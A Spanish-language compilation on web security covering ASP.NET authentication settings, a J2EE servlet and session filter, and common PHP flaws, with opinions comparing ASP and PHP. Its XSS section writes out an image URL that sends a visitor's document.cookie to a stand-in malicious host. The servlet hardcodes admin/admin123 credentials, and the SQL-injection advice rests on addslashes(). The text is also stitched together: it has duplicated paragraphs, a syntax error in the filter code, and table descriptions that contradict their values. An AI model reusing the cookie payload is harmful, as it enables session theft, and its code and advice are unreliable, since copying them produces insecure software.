Seguridad de ASP.NET
ASP.Net es la evolución de ASP donde
se cuenta con una mayor estructura con respecto a sus sentencias y metodología
de implementación.
Hablaremos de ASP.Net debido a que es
la tecnología ASP que actualmente se encuentra en uso.
La seguridad es un aspecto muy
importante de las aplicaciones web ASP.NET. Los temas de esta sección
proporcionan información adicional sobre los problemas de seguridad que se
producen en las aplicaciones web. Se incluye información sobre cómo mitigar las
amenazas de seguridad habituales, cómo proteger los recursos en una aplicación
web, y cómo autenticar y autorizar a los usuarios individuales.
ASP.NET, conjuntamente con Microsoft
Internet Information Services (IIS), puede autenticar las credenciales del
usuario como nombres y contraseñas mediante los métodos de autenticación
siguientes:
·
Windows: básica, implícita, y Autenticación de
Windows integrada (NTLM o Kerberos).
·
Autenticación mediante formularios, con la que
crea una página de inicio de sesión y se administra la autenticación en la
aplicación.
·
Autenticación mediante certificados de cliente
ASP.NET controla el acceso a la
información de los sitios comparando las credenciales autenticadas, o
representaciones de las mismas, con los permisos del sistema de archivos de
Microsoft Windows NT o con un archivo XML que contiene la lista de usuarios
autorizados, funciones autorizadas (grupos) o verbos HTTP autorizados.
FUNCIONAMIENTO
DE LA SEGURIDAD EN ASP.NET
La seguridad de los sitios Web es una cuestión de
importancia fundamental, además de compleja, para los desarrolladores de sitios
Web. La protección de un sitio requiere
la elaboración cuidadosa de un plan; por consiguiente, los programadores y
administradores de sitios Web deben comprender perfectamente las opciones para
proteger los sitios.
ASP.NET funciona junto con Microsoft .NET Framework
e Internet Information Services (IIS) para ayudar a proporcionar aplicaciones
Web seguras. Para ayudar a proteger la seguridad de una aplicación ASP.NET, se
deben llevar a cabo las dos funciones principales que se describen en la
siguiente tabla.
|
Función de seguridad
|
Descripción
|
Ayuda a
comprobar que el usuario es precisamente quien dice ser. La aplicación
obtiene las credenciales (diversas formas de identificación, como nombre y
contraseña) de un usuario, y las valida consultando a una autoridad
determinada. Si las credenciales son válidas, se considera a la entidad que
ha enviado las credenciales como una entidad autenticada.
| |
Limita
los derechos de acceso mediante la concesión o negación de permisos
específicos a una identidad autenticada.
|
Además, Internet Information Services (IIS) puede
conceder o negar el acceso en función de la dirección IP o del nombre de host
del usuario. Cualquier autorización de acceso posterior se realiza mediante la
autorización de la dirección URL del permiso de acceso al sistema de archivos
NTFS.
Es importante entender cómo interactúan todos los
diversos subsistemas de seguridad. Puesto que ASP.NET se basa en Microsoft .NET
Framework, el desarrollador de aplicaciones ASP.NET también tiene acceso a
todas las características de seguridad integradas de .NET Framework, como la
seguridad de acceso a código y la seguridad de acceso basada en funciones. Para
obtener información detallada sobre las funciones de seguridad de ASP.NET.
Arquitectura de seguridad en ASP.NET
Como se muestra en la ilustración, todos los
clientes Web se comunican con las aplicaciones ASP.NET a través de Microsoft
Internet Information Services (IIS).IIS autentica la solicitud si fuera
necesario y, a continuación, busca el recurso solicitado (como una aplicación
ASP.NET).Si el cliente está autorizado, el recurso estará disponible.
Cuando se está ejecutando una aplicación ASP.NET,
puede utilizar las características de seguridad de ASP.NET integradas. Además,
una aplicación ASP.NET puede utilizar las características de seguridad de .NET
Framework. Para obtener más información,
Para un manejo de seguridad mejor:
Los valores predeterminados de estos elementos se
incluyen en la tabla siguiente.
|
Valor predeterminado
|
Descripción
|
< allow
roles="" />
|
Una
cadena vacía que indica que se permiten todas las funciones de forma
predeterminada.
|
< allow
users="*" />
|
Una
cadena vacía que indica que todos los usuarios tienen acceso (no se requiere
ninguna autenticación).
|
< allow
verbs="" />
|
Una
cadena vacía que indica que no se asignan verbos de forma predeterminada.
|
< authentication
mode="Windows" />
| |
< credentials
passwordFormat="SHA1" />
|
El
algoritmo hash que se utiliza en las contraseñas.El valor predeterminado es SHA1.
|
< deny
roles="" />
|
Una
cadena vacía que indica que no se deniega ninguna función de forma
predeterminada.
|
< deny
users="" />
|
Una
cadena vacía que indica que no se deniega ningún usuario de forma
predeterminada.
|
< deny
verbs="" />
|
Una
cadena vacía que indica que no se asignan verbos de forma predeterminada.
|
< forms
cookieless="UseDeviceProfile" />
|
Método
que se usa para almacenar el vale de autenticación de formularios en el
cliente.Los valores válidos son UseCookies, UseUri, AutoDetect,
UseDeviceProfile (predeterminado).
|
< forms
defaultUrl="default.aspx" />
|
Cadena
que indica la dirección URL de la página a la que se redirecciona después del
inicio de sesión.
|
< forms
domain="" />
|
Cadena
vacía que indica que no se ha especificado ningún dominio para la cookie.
|
< forms
loginUrl="logon.aspx" />
|
Dirección
URL a la que se dirige la solicitud si establece la autenticación mode
como Forms y si la solicitud no tiene un vale de autenticación válido.
|
< forms name=".ASPXAUTH" />
|
El nombre
bajo el que la cookie de autenticación de formularios se almacena en el
equipo del usuario.
|
< forms
path="/" />
|
La ruta
de acceso a la que se aplica la autenticación de formularios.El valor
predeterminado es todas las rutas de acceso desde la raíz de la aplicación
hacia abajo.
|
< forms protection="All" />
|
La
seguridad que se ha aplicado al vale de autenticación de formularios.Los
valores incluyen All, None, Encryption y Validation.
|
< forms
timeout="30" />
|
El tiempo
de espera en minutos antes de que el vale de autenticación de formularios
expire y los usuarios tengan que volver a autenticarse.
|
< forms requireSSL="false"
/>
|
Un valor
booleano que indica si se requiere una conexión SSL para transmitir la cookie
de autenticación.
|
< forms
slidingExpiration="true" />
|
Un valor
booleano que indica si está habilitado el plazo de expiración.Para obtener
más información, vea la propiedad SlidingExpiration.
|
< identity
impersonate="false" />
|
Un valor
booleano que indica si la suplantación está deshabilitada.Para obtener más
información, vea Suplantación
de ASP.NET.
|
< identity
userName="" />
|
Una
cadena vacía que indica que no se especifica ninguna identidad de usuario de
forma predeterminada.
|
< identity
password="" />
|
Una
cadena vacía que indica que no se especifica ninguna contraseña para la
identidad de usuario de forma predeterminada.
|
< trust level="Full"
originUrl="" />
|
La
directiva de seguridad que se aplicará a la aplicación.
|
< trustLevel name="Full"
policyFile="internal"/>
|
El
archivo de directivas predeterminado para el nivel de confianza Full.
|
< trustLevel name="High"
policyFile="web_hightrust.config"/>
|
El
archivo de directivas predeterminado para el nivel de confianza High.
|
< trustLevel name="Medium"
policyFile="web_mediumtrust.config"/>
|
El
archivo de directivas predeterminado para el nivel de confianza Medium.
|
< trustLevel name="Low"
policyFile="web_lowtrust.config"/>
|
El
archivo de directivas predeterminado para el nivel de confianza Low.
|
< trustLevel
name="Minimal" policyFile="web_minimaltrust.config"/>
|
El
archivo de directivas predeterminado para el nivel de confianza Minimal.
|
Un esquema de
seguridad en J2EE puede ser implementado utilizando JAAS, sin embargo existen varias
alternativas que nos permiten controlar que un usuario se encuentre en sesión
uno de ellos es a través de filtros en la aplicación Web. Esta alternativa
puede ser implementada de manera sencilla y rápida y puede convertirse en un
elemento bastante seguro para cualquier aplicación.
En esté ejemplo
utilizaremos el jsp para el formulario de captura, un servlet que se encargará
de firmar al usuario y subirlo a sesión y por último un filtro que monitoree
los accesos a los URLs de la aplicación
El servlet
Un Servlet nos permite
procesar la autenticación de usuarios utilizando una clase de Java. En el caso
de esté ejemplo de seguridad se implementará un servlet que autentique al
usuario y lo registre en sesión para que el filtro detecte si el usuario se
encuentra firmado o no.
|
//El mapping
<servlet>
<description>Firma al usuario
en la aplicación </description>
<display-name>FirmarServlet</display-name>
<servlet-name>FirmarServlet</servlet-name>
<servlet-class>seguridad.FirmarServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FirmarServlet</servlet-name>
<url-pattern>/firmar</url-pattern>
</servlet-mapping>
//La clase
**
* Servlet implementation class
for Servlet: FirmarServlet
*
*/
public class FirmarServlet
extends javax.servlet.http.HttpServlet
implements javax.servlet.Servlet {
/** The serial UID */
private static final
long serialVersionUID = 1L;
/*
* (non-Java-doc)
*
* @see javax.servlet.http.HttpServlet#doGet(
* HttpServletRequest
request,
*
HttpServletResponse response)
*/
protected void
doGet(HttpServletRequest request,
HttpServletResponse
response)
throws
ServletException, IOException {
//Valida de una forma sencilla el usuario y contraseña
if
(request.getParameter("usuario").equals("admin") &&
request.getParameter("password").equals("admin123") ) {
//Obtiene la sesión utilizando el request
HttpSession
session = request.getSession();
//Agrega el
nombre de usuario a sesión para validar que
//el
usuario se haya firmado
session.setAttribute("usuario",
request.getParameter("usuario"));
//Redireccionamiento
a la pagina principal de la aplicación
RequestDispatcher dispatcher =
getServletContext()
.getRequestDispatcher("/master.jsp?url=/sca/inicio.jsp");
dispatcher.forward(request,
response);
} else {
//Redireccionamiento a la página de login
RequestDispatcher dispatcher =
getServletContext()
.getRequestDispatcher("/seguridad/login.jsp");
dispatcher.forward(request,
response);
}
}
/*
* (non-Java-doc)
*
* @see
javax.servlet.http.HttpServlet#doPost(
* HttpServletRequest
request,
*
HttpServletResponse response)
*/
protected void
doPost(
HttpServletRequest
request,
HttpServletResponse
response)
throws
ServletException, IOException {
//Invoca el doGet para que si el servlet tiene
peticiones por
//GET o POST responda
de igual manera
doGet(request,response);
}
}
|
Uso de filtros
Un Filtro de J2EE
es ejectutado por el contenedor siempre que el usuario intenta ingresar una URL
que cumpla con un patron descrito en el archivo web.xml. La forma de describir
un filto es la siguiente:
|
<filter>
<filter-name>SessionFilter</filter-name>
<filter-class>pragma.controlador.filter.seguridad.SesionFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>SessionFilter</filter-name>
<url-pattern>/principal/*</url-pattern>
</filter-mapping>
La clase del filtro
Sin embargo como podemos apreciar
los tags de xml anteriores nos indican que debe existir una clase que tenga
el funcionamiento del filtro. Esta clase debe implementar la interfaz
/**
* Implementacion de un <strong>Filter
</strong> que se encarga de comprobar que
* el usuario este en sesion. Si el usuario
no esta en sesion el filtro lo
* regresará a la página de login
*
* @author Gil
*/
public class
SesionFilter implements Filter {
public static final String
LOGIN_PATH = "/seguridad/firmar.jsp";
/**
* Inicializando el filtro
*/
public
void init(FilterConfig filterConfig) throws ServletException {}
/**
* Ejecuta el filtro
*/
public void doFilter(
ServletRequest
request,
ServletResponse
response,
FilterChain
chain) throws IOException,
ServletException {
//Obtenemos un objeto request de http, para poder acceder a la ruta
//del
contexto
HttpServletRequest
httpRequest = (HttpServletRequest) request;
//Obtenemos
la sessión con la cual validaremos al usuario;
HttpSession
sesion = httpRequest.getSession();
//Obtenemos
el string con el nombre de usuario que se encuentra en
//sessión
utilizando la constante SesionConstantes.USUARIO ="usuario"
String
usuario = (String) sesion.getAttribute(SesionConstantes.USUARIO);
//Validamos
que el usuario no sea nulo, ya que si es nulo quiere decir
//que
no se ha firmado aun o que tu tiempo de sesión expiró
if
(usuario == null) {
//Redirecciona
a la pagina de inicio
RequestDispatcher rd =
httpRequest.getRequestDispatcher((LOGIN_PATH);
//método que redirecciona
rd.forward(request,
response);
//Si
el usuario existe el filtro termina y sede el paso, por si exisite
//un
filtro adicional o simplemente continua con el flujo normal.
} else {
chain.doFilter(request,
response);
}
}
/**
* Liberar recursos
*/
public
void destroy() { }
}
|
Clases auxiliares
|
/**
* Contiene el nombre de las constantes de
mas uso en session
* @author Gil
*/
public class
SesionConstantes {
/** Usuario p Login que se encuentra en
session */
public
static final String USUARIO = "usuario";
/** Nombre
completo del usuario que se encuentra firmado */
public static final String NOMBRE_USUARIO =
"nombreUsuario";
/**
Nombre del campo para id usuario
*/
public
static final String ID_USUARIO = "idUsuario";
/**
* Cancelamos el constructor para que no se
creen instancias de la clase
*/
private SesionConstantes() {
super();
}
}
|
PHP es una lengua
muy fácil a aprender, y muchos programadores lo aprenden como manera de agregar
interactividad a sus Sitio Web.
Desafortunadamente,
eso significa a menudo los programadores de PHP, especialmente ésos más nuevos
al desarrollo web, cometen ciertos riesgos de seguridad y desaprovechan el
potencial que sus usos pueden contener. Aquí están algunos de los problemas mas
comunes de seguridad y cómo evitarlos.
Regla número uno:
Nunca, confiar en los usuarios
Por todo esto la
regla de todo desarrollador web tiene que ser "Nunca, confiar en los
usuarios" . Asumir que cada pieza de datos que tu sitio recoge de un
usuario puede convertirse en un agujero de seguridad, siempre. Si la seguridad
de tu sitio web es importante para ti, este un buen puntopara comenzar a
aprender. Sería conveniente tener una hoja de seguridad para PHP al lado de tu escritorio con los puntos mas importantes en texto negrita
grande.
Variables
globales
En muchas
lenguajes debes crear explícitamente un variable para utilizarlas. En PHP, hay
una opción, las register_globals, que puedes
fijar en php.ini y que permite que utilices variables globales.
Considera el código siguiente:
if ($password == "my_password") {
$authorized = 1;
}
if ($authorized
== 1) {
echo "Mis
cosas importantes ";
}
A muchos les puede parecer que este código esta funcionando perfectamente. ¿Sin
embargo, si un servidor tiene register_globals encendidos,
entonces simplemente agregando? authorized=1 " al URL dará a cualquier persona el acceso libre a
exactamentelo que no quisieras que todo el mundo viera. Éste es uno de los
problemas mas comunes de la seguridad de PHP.
Afortunadamente,
esto tiene un par de soluciones simples y posibles. La primera, y quizás la
mejor, es fijar desactivar register_globals. La segunda es
asegurarse de que utilizas solamente las variables que has fijado
explícitamente tú mismo. En el ejemplo anterior, eso significaría la adición $authorized = 0; al principio de la escritura:
$authorized = 0;
if ($password == "my_password") {
$authorized = 1;
}
if ($authorized == 1) {
echo "Lots of important stuff.";
}
Mensajes de error
Los mensajes de
error son una herramienta muy útil para los programadores y hackers. Un
desarrollador los necesita para detectar bugs. Un hacker puede utilizarlos para
descubrir todas las clases de información sobre un sitio, desde la estructura
del directorio del servidor a la información de la conexión de la base de
datos.En PHP para evitar esto puedes utilizar .htaccess o php.ini, fijando error_reporting a 0.
En cuanto a la
seguridad, Eso es un tema muy complejo, hay directivas sencillas a seguir para
evitar los ataques mas comunes, pero nunca, jamas podrás tener un sitio
completamente seguro salvo que sea una pagina html plana y no permitas
interactuar a los usuarios mas que haciendo clic en los enlaces, y aun esto no
es 100% seguro
Las directivas de seguridad pero te recomiendo buscar por internet
tutoriales mas completos o comprarte algún libro sobre el tema.
1 ) evitar Buffer
Overflow (desbordamiento de buffer):
El buffer
overflow se produce cuando los datos enviados son mayores que la memoria
disponible, por lo que se sobrescriben zonas de la memoria que en principio
estaban destinadas a otras tareas que no son las de almacenar datos. Un hacker
hábil puede llegar a ejecutar programas propios mediante esta técnica.
Se suele decir
que PHP es "invulnerable " al Buffer Overflow aunque es una creencia
errónea y una mala practica de programación por dos motivos
1º para ser
invulnerable a este tipo de ataques habría que tener memoria ilimitada
(infinita) y que yo sepa, no existe ese tipo de sistema.
2º que la versión actual de php tenga una
implementación que dificulta mucho (que lo hace) el uso de esta técnica, no
significa que en actualizaciones posteriores, se pueda cometer un error e
introducir un bug que permita esta técnica; por lo tanto hay
que tenerlo en cuenta.
Evitar el
Desbordamiento de buffer o Buffer overflow es bastante sencillo solo debes
comprobar los tamaños de los datos que recuperas de los usuarios, mediante el
uso de strlen();
Ej, Un nombre de
usuario no va a superar los 50 caracteres por lo tanto es razonable limitar a
50 y no permitir valores superiores.
2) Evitar el Cross-Site Scripting( XSS)
A medida que se
aumenta la interactividad del usuario con disminuye la protección XSS algo tan
simple como permitir que el usuario introduzca enlaces ó imágenes hace que la
protección sea casi nula en nuestro sitio
1º si no vas a
permitir HTML por parte de los usuarios , usa la función htmlentities()
http://php.net/manual
/es/function.htmlentities.php
En muchos lugares
no se distingue entre ésta y htmlspecialchars() pero la realidad es que
htmlentities filtra algunos caracteres que htmlspecialchars() no , asi que yo
te recomiendo la primera (tal vez alguien tiene una razón mejor por la que no )
2º si vas a
permitir enlaces, usa la función parse_url()
esta función descompone las url en partes y
podrás comprobar ciertas cosas como por ejemplo limitar el protocolo a http://
y eliminar los protocolos javascript: , telnet: ... ademas podrás comprobar el
host y otros elementos que pueden darte pistas de direcciones malintencionadas.
3º si vas a
permitir el uso de imágenes ten en cuenta que el atributo src de la etiqueta
img y el atributo background acceden a una dirección url para recuperar la
imagen por lo que si el valor es
http://www.example.com/imagen.jpg,
no hay problema (En principio, ya que hay otros "peligros " ). Pero
la dirección puede ser
'http://www.malicioso.com/script.php?info='.document.cookie y solo por el mero
hecho de cargar la pagina, el usuario estaría enviado sus cookies a un script
externo. Esto es imposible de prevenir al 100% (como todo en seguridad) pero
puedes impedir ciertos elementos de la url en src utilizando expresiones
regulares o bien limitando el host a sitios determinados.
4º si vas a
permitir html documéntate y utiliza proyectos de código abierto que ya se encargan
de esto como HTMLPurifier http://htmlpurifier.org/
3) Evitar el sql
inyection
para evitar la
inyeccion sql se emplean , básicamente, las funciones addslashes() y
stripslashes() para filtrar la entrada y salida de códigos de la BD, aun así ,
se filtraría solo el código sql pero no se impediría que se almacenase código
de script en la base de datos o se intentase desbordar el buffer por lo que es
imprescindible combinarlo con las técnicas de prevención anteriores.
4) Evitar el mail
inyection
En este mismo foro hay un post muy bueno que
explica como evitar la inyección de cabeceras mail para el envío de spam
masivo.
Conclusiónes:
La validación de
sessión utilizando filtros es una alternativa al JAAS muy potente debido a que
podemos agregar los filtros que nosotros deseemos y aplicar políticas
diferentes a cada una de las secciones de la aplicación. Además al utilizar
filtros no tenemos problemas en la instalación de nuestra aplicación al
utilizar servidores de aplicaciones diferentes.
La Seguridad en cuanto a Asp refiere es sumamente copmpleja pero altamente soportada por Microsoft... esto implica que todo en cuanto a ASP refiere es de paga.
Javascript se sale de la lista ya que no tiene las mismas opciones que los otros
dos...es decir que se procesa en la computadora del usuario y por tanto consume
recursos (hablo cuando se le usa mucho), y lo que se debe hacer es una pagina
accesible en poco tiempo para que el visitante no se aburra. Recomiendo que se
procese en un servidor.
Si vemos a ASP y PHP, pues les recomendaria PHP ya que resulta mucho mas "Seguro", tiene mayor compatibilidad y ademas es Open Source, ya que los programas de Microsoft la mayoria de veces no tienen mucha compatibilidad para otras aplicaciones y ademas son muy costosos.
Fuera de estos aspectos ASP y PHP se podria decir que son casi iguales ya que los dos ofrecen las mismas caracteristicas y si te propones a hacer un programa complicadisimo en ASP, tenlo por seguro que podras hacer que funcione de la misma manera en PHP y VICEVERSA.
Si vemos a ASP y PHP, pues les recomendaria PHP ya que resulta mucho mas "Seguro", tiene mayor compatibilidad y ademas es Open Source, ya que los programas de Microsoft la mayoria de veces no tienen mucha compatibilidad para otras aplicaciones y ademas son muy costosos.
Fuera de estos aspectos ASP y PHP se podria decir que son casi iguales ya que los dos ofrecen las mismas caracteristicas y si te propones a hacer un programa complicadisimo en ASP, tenlo por seguro que podras hacer que funcione de la misma manera en PHP y VICEVERSA.
Aunque PHP sea una tecnologia en crecimiento, en cuanto a seguridad refiere, necesita de la implementacion de otras tecnologias como XLSS para su mejor rendimiento, cuando en JSP y ASP.Net se cuenta con aplicaciones directas en cuanto a la induccion de seguridad.

